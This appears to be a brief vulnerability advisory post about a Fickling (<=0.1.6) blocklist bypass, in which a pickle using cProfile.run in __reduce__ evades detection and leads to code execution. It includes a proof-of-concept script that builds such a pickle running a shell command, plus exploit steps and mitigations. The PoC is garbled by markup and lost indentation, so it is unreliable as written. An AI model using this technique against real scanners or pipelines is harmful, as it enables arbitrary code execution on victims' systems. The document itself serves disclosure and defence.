Listen to this Post
A malicious pickle file uses `cProfile.run()` within its `__reduce__` method. The `cProfile.run()` function accepts and executes a string of Python code via exec(). Fickling versions <=0.1.6 lack `cProfile` in its `UnsafeImports` blocklist in analysis.py. Therefore, during analysis, the dangerous import is not flagged. Only a secondary `UnusedVariables` heuristic triggers, classifying the file as merely SUSPICIOUS instead of OVERTLY_MALICIOUS. This misclassification bypasses the security gate, leading users to deserialize the pickle and execute the attacker’s embedded code, resulting in Remote Code Execution (RCE).
Platform: Fickling
Version: <=0.1.6
Vulnerability : Blocklist Bypass
Severity: High
date: 2025-01-17
Prediction: 2025-02-15
What Undercode Say:
python3 -c "
import pickle, cProfile
class Exp:
def <strong>reduce</strong>(self):
return (cProfile.run, (\"import os; os.system('id')\",))
pickle.dump(Exp(), open('bad.pkl','wb'))
"
fickling check bad.pkl
from fickling.analysis import UnsafeImports
print('cProfile' in UnsafeImports.blocklist)
How Exploit:
1. Attacker crafts pickle.
2. Embeds `cProfile.run()`.
3. Victim scans file.
4. Fickling returns SUSPICIOUS.
5. Victim loads pickle.
6. Code executes.
Protection from this CVE
Update Fickling post-0.1.6.
Manual blocklist patching.
Avoid untrusted pickles.
Impact:
Arbitrary Code Execution.
Security tool bypass.
ML pipeline compromise.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
